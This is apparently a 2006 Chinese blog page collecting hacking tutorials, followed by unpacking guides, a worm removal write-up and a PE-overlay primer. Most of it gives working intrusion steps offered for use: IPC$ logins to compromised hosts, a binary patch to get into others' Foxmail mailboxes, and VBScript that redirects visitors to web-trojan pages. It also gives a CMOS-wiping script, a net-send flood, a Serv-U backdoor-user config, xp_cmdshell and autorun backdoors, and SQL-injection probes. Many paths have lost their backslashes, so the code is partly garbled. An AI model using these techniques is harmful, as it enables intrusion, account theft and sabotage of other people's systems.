系统安全之各类脱壳方法与注意事项 双系统注意事项
Tag:安全 脱壳
chapi 发表于21时25分09秒 | 阅读全文 | 评论 0 | 编辑 | 分享 0
2006年11月04日
反其道而行 做保护系统的厚道小黑客反其道而行 做保护系统的厚道小黑客赛迪网 小黑客厚道学:掌握一些黑客知识是非常必要的,不是要攻击别人,而是通过简单的黑客知识掌握网络/系统安全技术,开拓思路,从而更好的保护自己的电脑。也就是所谓的“知己知彼百战不殆”。 1、简化CMD下用IPC$登录肉鸡的操作 用记事本建立一个名为login.bat文件,代码如下: @net use %1ipc$ %3 /u:"%2" @echo OK!连接已经建立成功! 使用方法是在CMD下输入:login.bat肉鸡的IP肉鸡的ADMIN组的帐号名/用户的密码。这样我们以后用IPC$登录肉鸡就不用每次都输入一大串的命令了。 2、进入Foxmail账户有妙招 在Foxmail中可以为账户加上访问密码,如果没有密码却想进入别人的信箱该怎么办呢?一个众所周知的办法是:打开Foxmail文件夹下以账户名命名的任意一个文件夹,里边有个名为account.stg的文件,把它复制到你想进入的账户目录里,直接覆盖该目录下原来的account.stg文件。运行Foxmail,点击那个忘记了密码的账户,可以直接进入该信箱!但是上面的方法并不隐蔽,因为对方下次使用信箱时就会发现你破解了他的信箱,这样不够隐蔽。要想进入对方的信箱还不被对方发现,可以使用下面这个办法:用16进制文件编辑器UltraEdit打开Foxamil的主程序foxmail.exe文件,按组合键Alt+F3查找以下的代码:E8617EE4FF7515,单击“确定”开始查找,找到后把其中的7515改为9090,其他代码不用改,然后保存就可以了。执行foxmail.exe,这样可以随意进入设有密码的Foxmail邮箱。该技巧对最新的Foxmail5.0.500.0有效。 3、利用vbs脚本判断对方的IE版本 我们在编制网页木马时,常常需要页面具有自动判别对方IE版本的能力,根据版本的不同,跳转到不同的网页木马页面。之所以这样做,是因为不同版本的IE,其木马网页的制作方法并不相同,比方说针对IE6.0版的网页木马制作方法与其下各个版本就不相同。 打开记事本,输入如下内容: “〈SCRIPT language=vbscript〉 if Instr(window.navigator.appversion,"MSIE 6.0")>0 then alert("浏 览 器:Internet Explorer 6.0") window.location.href="http://IE6.0 网页木马页面" else alert("浏 览 器:6.0版本以下") window.location.href="http://IE6.0以下版网页木马页面" end if 〈/SCRIPT〉” 这样,使用IE6.0的用户浏览了该页面后,会自动跳转到http://IE6.0网页木马页面,不是IE6.0的用户浏览后会自动跳转到http://IE6.0以下版网页木马页面。 4、肉鸡的ipc$打不开该怎么办 有些朋友反映telnet到对方的机器后却不能打开ipc$,这该怎么办呢?我的做法是首先试试net share命令,看能不能使用,如果不能使用,说明对方没有安装文件和 打印机共享服务,那ipc$一定是无法使用,此时只能放弃了。再输入net share ipc$试试,看看ipc$能不能打开,如果不行就输入net stop server,接下来再输入net start server,这样试试看ipc$能不能打开。如果net stop server不能执行,先把其附属进程关闭,再关server的主进程,一般到此ipc$多半可以连接上了。如果还是不行,那多半是对方有防火墙,这时只能想办法杀掉防火墙的进程了。 5、用vbs脚本结束进程 先声明这一招不是我自己想到的,是从高手ilovewen那里学来的。把下面的内容保存为.vbs脚本,在Windows2000下可以运行成功,代码内容如下: On Error Resume Next strComputer="."Set objWMIService = GetObject("winmgmts:" _ && "{impersonationLevel=impersonate}!" && strComputer && "rootcimv2")Set colProcessList =objWMIService.ExecQuery _ ("Select * from Win32_Process Where Name='*.exe'")For Each objProcess in colProcessList objProcess.Terminate()Next 其中*.exe是你要结束的进程,将它改为你要结束进程的名即可。 6、利用批处理清除对方的CMOS内容 如果你想清除对方的CMOS内容该怎么办?方法有很多了,利用批处理绝对是很另类的一招吧?请打开记事本,在文件中输入如下内容: Const ForAppending=8 Dim fso,x,y Set fso=CreateObject("Scripting.FileSystemObject") Set x=fso.OpenTextFile("c:autoexec.bat", ForAppending, True) Set y=fso.CreateTextFile("c:1.txt", True) x.WriteBlankLines(1) x.Write"debug x.WriteBlankLines(1) y.WriteLine("o 70 10") y.WriteBlankLines(1) y.Write("o 71 10") y.Close x.Close 把上述内容保存为.bat文件,然后拷贝到对方的电脑上运行即可。它的作用是向Autoexec.bat中加入数据,创建一个文件,并向其中写入内容,在他下次开机时调用debug清除掉CMOS设置,包括CMOS密码。其实,这与大家常用的清除CMOS密码的方法很相象,通常情况下清除CMOS密码的方法是在DOS状态下输入debug,回车之后输入如下命令即可手工清除密码: -o 70 10 -o 71 01 -q 7、利用批处理轰炸对方电脑 这是从一些高手那里学来的招数,呵呵,真是好方法。具体步骤是,打开记事本,在里面输入如下内容: @echo 正在轰炸中…… :start @net send %1 %2 @if errorlevel 1 goto over goto start ver @echo 发送失败 将其保存为任意名字的.bat文件即可。使用用法是:任意名字的.bat+空格+目标IP地址+空格+你要对他说的话。 8、戏弄非法用户 为防止有人胡乱使用自己的电脑,我们可以利用批处理文件来戏弄一下非法用户。方法是用记事本程序在Windows目录中建立一个Winstart.bat文件,并在该文件中加入以下命令: @echo off echo non-system disk or disk error choice/c:&&/n 上面代码中的“&&”为我们设置的密码,您可以自行设置。这样重新启动计算机开机时就会显示“non-system disk or disk error”,接着光标一闪一闪的好像死机了一样,造成非法用户以为Windows死机的假象。有时就连高手也会上当受骗!当我们要进入系统时,只要输入“&&”即可。 9、我的电脑你别用 如果你不想让别人使用你的电脑,又不好意思说,那该怎么办呢?在CMOS中设密码,太小气了吧?他如果问你密码,你好意思不说吗?其实,我们可以用下面这个办法来欺骗一下他的眼睛,使他人以为电脑坏了。 方法是:进入MS-DOS方式或CMD窗口下,输入:copy con null.sys,按一下回车键,然后什么也别输入,再按一次回车键,按Ctrl+Z或按F6键,屏幕上会显示^z,按一下回车键,屏幕上会显示“1 file(s) copied”,这样就一个名为null.sys的空文件就建好了。现在,找到C盘根目录下的config.sys文件,注意这个文件是隐藏属性,所以必须进入“我的电脑”中,点击“查看(v)”→“文件夹选项”→“查看”→“显示所有文件”才能看到它,然后右键单击该文件,在弹出菜单中选择“用记事本打开”,接下来在config.sys文件中加入:device=c:null.sys /d:null这样一行,保存修改结果,退出记事本。以后,你的电脑就会在出现Windows的启动画面时自动重新启动,如此反复下去,别人一定以为你的电脑出问题了,而你就可以偷偷乐了。(e129)黑客系列教程之脱壳的各种方法赛迪网 先介绍一下脱壳的基本知识吧! 常见脱壳知识: 1.PUSHAD (压栈) 代表程序的入口点; 2.POPAD(出栈) 代表程序的出口点,与PUSHAD想对应,一般找到这个OEP就在附近拉; 3.OEP:程序的入口点,软件加壳就是隐藏了OEP(或者用了假的OEP),只要我们找到程序真正的OEP,就可以立刻脱壳。 开始正式介绍方法!! 方法一: 1.用OD载入,不分析代码; 2.单步向下跟踪F8,是向下跳的让它实现; 3.遇到程序往回跳的(包括循环),我们在下一句代码处按F4(或者右健单击代码,选择断点——运行到所选); 4.绿色线条表示跳转没实现,不用理会,红色线条表示跳转已经实现; 5.如果刚载入程序,在附近就有一个CALL的,我们就F7跟进去,这样很快就能到程序的OEP; 6.在跟踪的时候,如果运行到某个CALL程序就运行的,就在这个CALL中F7进入; 7.一般有很大的跳转,比如 jmp XXXXXX 或者 JE XXXXXX 或者有RETE的一般很快就会到程序的OEP。 方法二: ESP定理脱壳(ESP在OD的寄存器中,我们只要在命令行下ESP的硬件访问断点,就会一下来到程序的OEP了!) 1.开始就点F8,注意观察OD右上角的寄存器中ESP有没出现; 2.在命令行下:dd 0012FFA4(指在当前代码中的ESP地址),按回车; 3.选种下断的地址,下硬件访问WORD断点; 4.按一下F9运行程序,直接来到了跳转处,按下F8,到达程序OEP,脱壳。 方法三: 内存跟踪: 1:用OD打开软件; 2:点击选项——调试选项——异常,把里面的忽略全部√上!CTRL+F2重载下程序; 3:按ALT+M,DA打开内存镜象,找到第一个.rsrc.按F2下断点。然后按SHIFT+F9运行到断点,接着再按ALT+M,DA打开内存镜象,找到.RSRC上面的CODE,按F2下断点。然后按SHIFT+F9,直接到达程序OEP,脱壳! 方法四: 一步到达OEP(前辈们总结的经验)。 1.开始按Ctrl+F,输入:popad(只适合少数壳,包括ASPACK壳),然后按下F2,F9运行到此处; 2.来到大跳转处,点下F8,脱壳之! 方法五: 1:用OD打开软件; 2:点击选项——调试选项——异常,把里面的√全部去掉!CTRL+F2重载下程序; 3:一开是程序就是一个跳转,在这里我们按SHIFT+F9,直到程序运行,记下从开始按F9到程序运行的次数; 4:CTRL+F2重载程序,按SHIFT+F9(次数为程序运行的次数-1次); 5:在OD的右下角我们看见有一个SE 句柄,这时我们按CTRL+G,输入SE 句柄前的地址; 6:按F2下断点,然后按SHIFT+F9来到断点处; 7:去掉断点,按F8慢慢向下走; 8:到达程序的OEP,脱壳! (t116) 黑客系列教程之21种提升权限的方法赛迪网 以下全部是本人提权时候的总结,很多方法至今没有机会试验也没有成功,但是我是的确看见别人成功过的。本人不才,除了第一种方法自己研究的,其他的都是别人的经验总结。希望对朋友有帮助! 1.radmin连接法 条件是你权限够大,对方连防火墙也没有。封装个radmin上去,运行,开对方端口,然后radmin上去。本人从来没成功过,端口到是给对方打开了。 2.paanywhere C:Documents and SettingsAll UsersApplication DataSymantecpcAnywhere 这里下他的GIF文件,在本地安装pcanywhere上去。 3.SAM破解 C:WINNTsystem32config 下他的SAM 破解之。 4.SU密码夺取 C:Documents and SettingsAll Users「开始」菜单程序引用:Serv-U,然后本地查看属性,知道路径后,看能否跳转。进去后,如果有权限修改ServUDaemon.ini,加个用户上去,密码为空。 [USER=WekweN|1] Password= HomeDir=c: TimeOut=600 Maintenance=System Access1=C:|RWAMELCDP Access1=d:|RWAMELCDP Access1=f:|RWAMELCDP SKEYValues= 这个用户具有最高权限,然后我们就可以ftp上去 quote site exec xxx 来提升权限。 5.c:winntsystem32inetsrvdata 引用:就是这个目录,同样是erveryone 完全控制,我们所要做的就是把提升权限的工具上传上去,然后执行。 6.SU溢出提权 这个网上教程N多,不详细讲解了。 7.运行Csript 引用:运行"cscript C:InetpubAdminScriptsadsutil.vbs get w3svc/inprocessisapiapps"来提升权限。 用这个cscript C:InetpubAdminScriptsadsutil.vbs get w3svc/inprocessisapiapps ,查看有特权的dll文件:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll,再将asp.dll加入特权一族。asp.dll是放在c:winntsystem32inetsrvasp.dll (不同的机子放的位置不一定一样),我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:WINNTsystem32idq.dll" "C:WINNTsystem32inetsrvhttpext.dll" "C:WINNTsystem32inetsrvhttpodbc.dll" "C:WINNTsystem32inetsrvssinc.dll" "C:WINNTsystem32msw3prt.dll""c:winntsystem32inetsrvasp.dll" 。可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了。 8.脚本提权 c:Documents and SettingsAll Users「开始」菜单程序启动"写入bat,vbs。 9.VNC 默认情况下VNC密码存放在HKCUSoftwareORLWinVNC3Password,我们可以用vncx4破解它。vncx4使用很简单,只要在命令行下输入: c:>vncx4 -W 然后顺序输入上面的每一个十六进制数据,没输完一个回车一次就行了。 10.NC提权 给对方来个NC,但是条件是你要有足够的运行权限,然后把它反弹到自己的电脑上。 11.社会工程学之GUEST提权 很简单,查看他的用户。一般来说看到帐户以后,密码尽量猜。可能用户密码一样,也可能是他QQ号、邮箱号、手机号。尽量看看。 12.IPC空连接 如果对方真比较白痴的话,扫他的IPC,如果运气好还是弱口令。 13.替换服务 这个不用说了吧?个人感觉相当复杂。 14.autorun .inf autorun=xxx.exe,这个=后面自己写。加上只读、系统、隐藏属性,传到哪个盘都可以的,不相信他不运行。 15.desktop.ini与Folder.htt 引用:首先,我们现在本地建立一个文件夹,名字不重要。进入它,在空白处点右键,选择“自定义文件夹”(xp好像是不行的)一直下点,默认即可。完成后,你就会看到在此目录下多了两个名为Folder setting的文件架与desktop.ini的文件,(如果你看不到,先取消“隐藏受保护的 操作系统文件”),然后我们在Folder setting目录下找到Folder.htt文件,记事本打开。在任意地方加入以下代码:,然后你将你的后门文件放在Folder setting目录下,把此目录与desktop.ini一起上传到对方任意一个目录下,就可以了。只要等管理员浏览了此目录,它就执行了我们的后门。 16.su覆盖提权 本地安装个su,将你自己的ServUDaemon.ini文件用从他那下载下来的ServUDaemon.ini 覆盖掉,重起一下Serv-U,于是你上面的所有配置都与他的一模一样了。 17.SU转发端口 43958这个是 Serv -U 的本地管理端口,FPIPE.exe上传他,执行命令: Fpipe –v –l 3333 –r 43958 127.0.0.1 意思是将4444端口映射到43958端口上。 然后就可以在本地安装一个Serv-u,新建一个服务器,IP填对方IP,帐号为LocalAdministrator 密码为$ak#.1k;0@p">#1@$ak#.1k;0@p,连接上后你就可以管理他的Serv-u了。 18.SQL帐户密码泄露 如果对方开了MSSQL服务器,我们就可以通过用SQL连接器加管理员帐号(可以从他的连接数据库的ASP文件中看到),因为MSSQL是默认的SYSTEM权限。 引用:对方没有删除xp_cmdshell方法:使用Sqlexec.exe,在host一栏中填入对方IP,User与Pass中填入你所得到的用户名与密码。format选择xp_cmdshell”%s”即可。然后点击connect,连接上后就可以在CMD一栏中输入你想要的CMD命令了。 19.asp.dll 引用:因为asp.dll是放在c:winntsystem32inetsrvasp.dll (不同的机子放的位置不一定相同),我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:WINNTsystem32idq.dll" "C:WINNTsystem32inetsrvhttpext.dll" "C:WINNTsystem32inetsrvhttpodbc.dll" "C:WINNTsystem32inetsrvssinc.dll" "C:WINNTsystem32msw3prt.dll""c:winntsystem32inetsrvasp.dll"。 好了,现在你可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去 了。注意,用法中的get和set,一个是查看一个是设置,还有就是你运行上面的你要到C:InetpubAdminScripts>这个目录下。 那么如果你是一个管理员,你的机子被人用这招把asp提升为system权限,那么,这时,防的方法就是把asp.dll 剔出特权一族。也就是用set这个命令,覆盖掉刚才的那些东东。 20.Magic Winmail 前提是你要有个webshell 引用:http://www.***.com/forum/read.php?tid=3587这里去看吧。 21.DBO…… 其实,提升权限的方式很多,就看大家怎么利用了。加油吧,将服务器控制到底! 黑客教程之注入点得知是否有硬盘访问权赛迪网 【编辑提示:仅可学习,研究,切勿模仿!】 现在给大家说说怎么样通过注入点判断服务器的硬盘(分区)是否有访问权, http://www.fun***.com/user/wmadown.asp?id=48187,这个是注入点了的。现在我们用 SQL查询语句试试,C盘是否有访问权限。 语句是: and (select count(*) from c:autoexec.bat.c)>0 解释一下原理,其它AC数据库也是可以跨库查询。只要把 from 后的表名改成MDB数据库的硬盘绝对地址,后台加上个“. ”,接上要查的表名。例如,我要查D盘yqf.mdb中的ADMIN表: and (select count(*) from d:yqf.mdb.admin)>0 这样的语句,只要知道服务器硬盘其它数据库地址,ACCESS也能跨库查询。只是不知道地址,所以这个无关紧要。 and (select count(*) from c:autoexec.bat.c)>0 为什么说用这句可以判断是否有硬盘访问权限呢?大家都知道c:autoexec.bat 是系统里自有的文件 无论哪个系统都有,而大家默认安装 WINDOWS也是装在C盘,如果这样找不到文件的话,你可以试试其它盘。 现在我们提交: and (select count(*) from c:autoexec.bat.c)>0 看到吧“不可识别的数据库格式'c:AUTOEXEC.BAT'”报错信息,这样表示C盘有访问的权限。因为读到了AUTOEXEC.BAT把autoexec.bat当mdb数据库来处理了,所以就出现这样的错误提示。 现在我们用刚传的马去看看,呵,C盘有访问的权限吧。反之,如果没有访问权限,则会提示“c:autoexec.bat 已被另一种方式打开,或者无权访问。”类似这样的提示,就是无权限访问了。 不过 autoexec.bat 可以测试,比如 c:winntsystem32cmd.exe,这些系统原有的文件都可以用来试。 (t116)黑客经验谈之黑客所应有的基本技能赛迪网 黑客态度重要,但技术更加重要。态度无法替代技术,在你被别的黑客称为黑客之前,有一些基本的技术你必须掌握。 这些基本技术随着新技术的出现和老技术的过时也随时间在缓慢改变。例如,过去内容包括使用机器语言编程,而直到最近才包括了HTML。总的来说现在主要包括以下技术: 1. 学习如何编程 这当然是最基本的黑客技能。如果你还不会任何编程语言,我建议你从Python开始。它设计清晰,文档齐全,合适初学者入门。它是一门很好的入门语言,并且不仅仅只是个玩具;它非常强大、灵活,也适合做大型项目。我有一篇 Python评价详细说明这点。好的教程可以在Python网站得到。(译者:比较好的中文Python站点可能是http://pythonrecord.51.net。) Java也是好的入门语言。它比Python难得多,但是生成的代码速度也快得多。它同时也是一种优秀的计算机语言,不止是用来入门。 但是注意,如果你只会一两门语言,你将不会达到黑客所要求的技术水平,甚至也不能达到一个程序员的水平——你需要学会如何以抽象的方式思考编程问题,独立于任何语言。要做一名真正的黑客,你需要学会在几天内通过一些手册,结合你现在所知,迅速掌握一门新语言。这意味着你应该学会几种截然不同的语言。 如果要做一些重要的编程工作,你将不得不学习C语言,Unix的核心语言。C++与C非常其他类似;如果你了解其中一种,学习另一种应该不难。但这两种都不适合编程入门者学习。而且事实上,你越避免用C编程,你的工作效率会越高。 C非常有效率,节约你的机器资源。不幸的是,C的高效是通过你手动做很多底层的管理(如内存)来达到的。底层代码都是复杂极易出现bug的,会使你花极多的时间调试。如今的机器速度如此之快,这通常是得不偿失——比较明智的做法是使用一种运行较慢、较低效率,但大幅节省你的时间的语言。因此,选择Python。 其他对黑客而言比较重要的语言包括 Perl和 LISP。 Perl实用,值得一学;它被广泛用于动态网页和系统管理,因此即便你从不用Perl写程序,至少也应该学会看。许多人使用Perl的理由和我建议你使用Python的理由一样,都是为了避免用C完成那些不需要C高效率的工作。你会需要理解那些工作的代码的。 LISP值得学习的理由不同——最终掌握了它时你会得到丰富的启迪和经验。这些经验会使你在以后的日子里成为一个更好的程序员,即使你实际上很少使用LISP本身。 当然,实际上你最好五种都会(Python,Java,C/C++,Perl和LISP)。除了是最重要的黑客语言外,它们还代表了截然不同的编程思路和方法,每种都会让你受益非浅。 这里我无法给你完完全全的指导教会你如何编程——这是个复杂的技能。但我可以告诉你,书本和上课也不能作到(最好的黑客中,有许多,也许几乎都是自学成材的)。你可以从书本上学到语言的特点只是一些皮毛,但要使书面知识成为自身技能只能通过实践和虚心向他人学习。因此要作到读代码及和写代码。 学习如何编程就象学习用优美的自然语言写作一样。最好的做法是读一些大师的名著,试着自己写点东西,再读些,再写点,再读些,再写点…… 如此往复,直到你的文章达到你体会到的范文的简洁和力量。 过去找到适合阅读的好的代码是困难的,因为几乎没有大型程序的源代码能让新手练手。这种状况已经戏剧性地发生变化;开放源代码软件,编程工具和 操作系统(全都由黑客写成)现在已经随处可见。让我们在下一个话题中继续讨论…… 2. 得到一个开放源代码的Unix并学会使用、运行它 我假设你已经拥有或者能使用一台个人电脑(今天的孩子们真幸福 :-))。新手们能够朝学习黑客技能迈出的最基本的一步就是得到一份Linux或BSD-Unix的一种,安装在个人电脑上,并运行它。 没错,这世界上除了Unix还有其他操作系统。但它们都是以二进制形式发布的——你无法读到它的源代码,也不可能修改它。尝试在运行DOS或Windows或MacOS的机器上学习黑客技术,就象是带着脚镣学跳舞。 除此之外,Unix还是Internet的操作系统。你可以学会上网却不知道Unix,但你不了解Unix就无法成为一名Internet黑客。因此,今天的黑客文化在很大程度上是以Unix为中心的。(这点并不总是真的,一些很早的黑客对此一直很不高兴,但Unix和Internet之间的联系已是如此之强,甚至连Microsoft也无可奈何。) 所以, 安装一套UNIX——我个人喜爱LINUX但还有其他种类的(是的,你可以同时安装Linux及DOS/Windows在同一电脑上)。学习它,使用它,配置它。用它在Internet上冲浪。阅读它的源代码。修改它的源代码。你会得到比在Microsoft操作系统上更好的编程工具(包括C,LISP,Python及Perl)。你会觉得乐趣无穷,学到在你成为大师之前意识不到的更多的知识。 你可以在 www.bsd.org找到BSD Unix的求助及其他资源。 (注:如果你是一个新手,我不推荐自己独立安装Linux或者BSD。安装Linux的话,寻求本地Linux用户组的帮助;或联系 Open Projects Network。 LISC维护着一些 IRC频道,在那里你可以获得帮助。) 3. 学会如何使用WWW和写HTML 黑客文化建造的大多东西都在你看不见的地方发挥着作用,帮助工厂、办公室和大学正常运转,表面上很难看到它对非黑客的普通人的生活的影响。Web是一个大大的例外。即便政客也同意,这个巨大耀眼的黑客玩具正在改变整个世界。单是这个原因(还有许多其它的),你就需要学习掌握Web。 这并不是仅仅意味着如何使用浏览器(谁都会),而是要学会如何写HTML, Web的标记语言。如果你不会编程,写HTML会教你一些有助于学习的思考习惯。因此,先完成一个主页。 但仅仅拥有一个主页不能使你成为一名黑客。 Web里充满了各种网页。大多数是毫无意义的,零信息量垃圾——界面时髦的垃圾,注意,垃圾的水准都类似(更多信息访问 The HTML Hell Page)。 要想有价值,你的网页必须有内容—— 它必须有趣或对其它黑客有帮助。这是下一个话题所涉及的…… 4. 如果你不懂实用性的英语,学习吧 作为一个美国人和一个以英语为母语的人,我以前很不情愿提到这点,免得成为一种文化上的帝国主义。但相当多以其他语言为母语的人一直劝我指出这一点,那就是英语是黑客文化和Internet的工作语言,你需要懂得以便在黑客社区顺利工作。 这一点千真万确。大概1991年的时候我就了解到许多黑客在技术讨论中使用英语,甚至当他们的母语都相同,英语对他们而言只是第二语言的时候;据我知道的报导,当前英语有着比其他语言丰富得多的技术词汇,因此是一个对于工作来说相当好的工具。基于类似的原因,英文技术书籍的翻译通常不令人满意(如果有翻译的话)。 Linus Torvalds,一个芬兰人,用英语注释他的代码(很明显这对他来说不是凑巧)。他流利的英语成为他能够管理全球范围的Linux开发人员社区的重要因素。这是一个值得学习的例子。 Tag:黑客 教程 脱壳 提限 注入
chapi 发表于23时32分02秒 | 阅读全文 | 评论 0 | 编辑 | 分享 0
2006年09月30日
脱去诱惑的外衣 露出木马的本来面目脱去诱惑的外衣 露出木马的本来面目
出处:电脑迷
作者:郑志勇 木马与杀毒软件之间的战斗从来就没有停止过,通过对已知的木马进行加壳可以再次躲避杀毒软件的查杀。加了壳的木马可以防止被杀毒软件跟踪查杀和被跟踪调试,同时也可以防止木马本身的算法程序被别人静态分析。加壳软件通常可以分为压缩保护和加密保护两种。
压缩保护
压缩保护就是利用特定的压缩算法把程序压缩打包,运行的时候在内存中执行解压过程并运行主程序。常见的压缩类加壳软件有:UPX、ASpack、Petite、PE-PACK、WWPack32、Shrinker等。以UPX为例,它的主要功能就是压缩,由于木马要在内存中释放后才能运行,所以对付这类加壳木马,凡是有内存杀毒功能的杀毒软件都能获得很好的查杀效果。
加密保护
这类软件侧重的是加密和保护软件,在反编译和反调试功能方面比较完善,某些加密软件甚至可以做到锁定自身在内存中的进程而不让别的进程插进来。此类加壳软件由于具备反编译和反调试功能,杀毒软件很难查杀到壳里的木马。常见的加密类加壳软件有ASProtect、tElock、Armadillo、SVK Protector、Xtreme-Protector、Obsidium、PElock等。
给木马脱壳
要给木马脱壳,需要先知道加了什么壳。PEid一款专用的查壳工具,可以方便的检测出软件到底是使用什么东西加的壳,给脱壳带来了极大的便利!木马Cmdshell.exe是个只有7KB的小木马,通过开放本机的54088端口,实现远程命令行控制。下面就详细介绍一下给木马Cmdshell.exe脱壳的过程。运行软件后,点击“File(文件)”右边的浏览按钮,打开Cmdshell.exe文件,这时在主界面中就可以看到该文件的加壳情况:Cmdshell.exe使用的是UPX加壳(如图1)。图1 给Cmdshell脱壳
通常UPX加壳和脱壳工具是通用的,所以笔者选用了使用起来比较容易的UPX Shell对加壳文件进行脱壳。运行UPX Shell程序,点击“OPen(打开)”按钮,选定被加壳的程序。切换到“Compress(压缩)”标签,选择“Decompress(解压缩)”,再点击“GO(运行)”按钮,即可完成脱壳。脱壳后程序由原来的7K变成了20K,文件脱壳成功(如图2)。图2 UPX脱壳PE-Scan也是一款专用的查壳脱壳工具,能识别出当今流行的绝大多数壳的类型,而且功能更强。PE-Scan可以检测出一些壳的入口点(OEP),方便手动脱壳。运行Pe-scan,打开加了壳的木马,即可看到木马加壳的类型(如图3)。这里笔者使用了一个用Asprotect加壳的木马来做测试,由于目前的PE-Scan并不支持脱Asprotect壳,所以“脱壳”按钮无法使用。图3 PE-Scan脱壳
为了脱去Asprotect壳,还需要使用另外一款脱壳软件stripperX来帮忙,它可以方便快捷地脱掉ASpack和ASProtect加的壳。运行stripperX,点击“open(打开)”按钮,选择要脱壳的文件,再点击“unpack(脱壳)”按钮即可生成目标文件,完成脱壳任务。需要注意的是由于ASProtect在不断升级,低版本的stripperX往往不能脱最新版本的ASProtect壳,目前stripperX 2.07版本支持脱ASpack 2.xx 和 ASProtect 1.2x版本的壳,stripperX 2.11版本支持脱ASProtect 1.3~2.0版本的壳(如图4)。图4 stripperX脱壳
总的来说,脱壳要对症下药,先用PEid或PE-Scan查清楚壳的类型,然后找脱这种壳的工具,才能达到脱壳的目的。脱了壳的木马,就失去了保护,几乎所有的杀毒软件或木马查杀工具都能查杀它。当从网络上下载了某些怀疑有木马的程序,可以先用本文介绍的方法来检查一下,看看它是否被加了壳,如果是就要提高警惕了,建议不要使用。安全防范之手工删除假警察的方法
作者:五月 整理出处:天极安全
(1) 打开注册表编辑器,删除如下键值:
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun
Sassfix=%SYSTEM%package.exe
(2) 打开任务管理器查看是否存在进程名为:package.exe(文件为%SYSTEM%package.exe)终止它
(3) 将%SYSTEM%system,C:Documents and SettingsAll UsersMain menuProgramsStartUp目录及C:Documents and SettingsAll UsersStart MenuProgramsStarup目录下的文件:package.exe删除。
注:%SYSTEM%是Windows系统的核心动态库所在目录,在Windows9X/ME下默认为:C:WINDOWSSYSTEM,Windows 2000/XP下默认为:C:WINNTSYSTEM32。
相关内容:
“假警察”(Worm.Win32.Dabber.a) 利用“震荡波”的后门及系统MS-4011漏洞进行传播,会尝试清除系统里的“震荡波”、“恶鹰”、“网络天空”等多个电脑病毒,可能造成系统异常。占用大量网络资源,可能会造成企业局域网运行缓慢甚至瘫痪。
Windows 9X(可感染,但无危害)NT/2000/XP(可危害)
1.复制自己到系统目录并实现自启动
病毒运行后,将自己复制到%SYSTEM%目录,c:Documents and SettingsAll UsersMain menuProgramsStartUp目录及c:Documents and SettingsAll UsersStart MenuProgramsStarup目录中,文件名为:package.exe。在注册表HKEY_LOCAL_MACHINESOFTWARE
MicrosoftWindowsCurrentVersionRun中加入自己的键值:sassfix=%system%package.exe,病毒使用"sas4dab"为互斥量。
2.试图清除一些病毒的注册表键值:
尝试删除注册表Run项中的以下键值,使之不能正常启动:
以下是引用片段:
Video Process.
TempCom.
SkynetRevenge
MapiDrv
BagleAV
System Updater Service
soundcontrl
WinMsrv32
drvddll.exe
navapsrc.exe
skynetave.exe
Generic Host Service
Windows Drive Compatibility
windows.Microsoft Update
Drvddll.exe
Drvddll_exe
drvsys
drvsys.exe
ssgrate
ssgrate.exe
lsasss
lsasss.exe
avserve2.exe
avvserrve32.avserve
3.建立四个线程实现一些功能。
(1)后门:
病毒监视9898端口,等待客户端的连接。该后门可以执行一些如:执行文件,从特定网站下载文件等功能。
(2)TFTP服务器:
病毒监听69端口,实现一个tftp服务器,一旦病毒成功的利用漏洞攻击一个系统后被攻入的系统将从利用该服务器将病毒复制过去执行。以达到传播的目的。
(3)一个空线程:
病毒作者并没有实现任何代码。(可能下个版本将实现)
(4)利用漏洞进行攻击
病毒利用本地系统的ip进行计算,找到攻击目标地址并尝试对其5554端口(震荡波的后门)的连接。
A.如果联接失败:
病毒将尝试对其9898端口的连接(用以识别目标系统是否已被病毒感染过),失败(目标系统没有被病毒感染)时病毒利用MS04-011漏洞对目标系统进行攻击,并利用自己的tftp服务器将自己复制过去。
B.联接成功:
病毒将尝试对其9898端口的连接(用以识别目标系统是否已被病毒感染过)当失败(目标系统没有被病毒感染)时病毒利用震荡波的后门将自己复制过去。 Tag:木马 脱壳 安全 病毒 杀毒
chapi 发表于06时10分57秒 | 阅读全文 | 评论 1 | 编辑 | 分享 0
2006年04月20日
脱壳中的附加数据问题(overlay)1.前言
最近,在论坛上看到很多人在弄附加数据overlay的问题,加上上次答应了各位兄弟所以觉得写一些着方面的废话。如果下面的内容对你有帮助那是最好。
这篇文章我们将解决以下问题:
1.什么是overlay,怎么找到overlay?
2.为什么有些壳虽然有overlay但是却不用特别处理?
3.为什么有些壳只用粘贴overlay数据就ok了,而有些壳却要定位指针?
4.如何修复文件指针?
--------------------------------------------------
2.正文
一.什么是附加数据(overlay)
1.实际当中的overlay
其实,overlay虽然大家在脱壳当中觉得很陌生,但是他离我们并不遥远。在我们平时使用的软件当中,有一些软件要处理一些数据流文件,比如winamp。当我们下载了mp3文件(数据文件),没有播放器是不可能播放的,与此相关的还有很多,比如txt文件和notepad的关系也差不多。而这些数据文件被单独的保存在硬盘上,当我们使用notepad的打开功能的时候,就可以去读取数据文件里面的东西了。
overlay又是什么意思呢?他其实真正的意思就是取消打开功能,将这些需要读取的数据放到pe文件的后面,让程序自动的运行打开的功能。这样的功能就变成了一个notepad的程序对应只能打开一个文件。
最典型的就是一些软件可以把一些数据流文件生成exe文件,比如一些mp3生成器,flash生成器,以及我们用来做动画的S-demo。他们的作用就是将数据对pe进行捆绑。(这样做的结果也就是为什么我们对这些文件用UPX等pe压缩工具却不能压缩他的原因,这是后话了)
2.技术上的overlay
在我们对pe文件的overlay进行分析之前,我们要普及一下文件映射的知识。
在pe里面,有所谓的文件偏移RA,文件偏移大小RS和与其对应的虚拟地址偏移VA,虚拟地址偏移大小VS。
我们要深刻的理解以上的概念不是我这篇文章能说清楚的,但又是搞overlay必须得弄清楚的,于是我简单的说明一下。
在我们的磁盘上的pe文件里面,排列着的数据在运行的时候将被影射到内存空间。他们将被怎么影射呢?举个例子:
例1:
一个pe文件中只有两个区段(pe head不算)
第一个区段是.text VA=401000 VS=1000 RA=200 RS=100
第二个区段是.data VA=402000 VS=1000 RA=300 RS=100
假设我们打开winhex看到在文件偏移300处的情况是这样的:
RA=2FF 处的数据是12 RA=300处的数据是34
好了,现在当pe文件装到内存中,那么会出现什么结果呢。
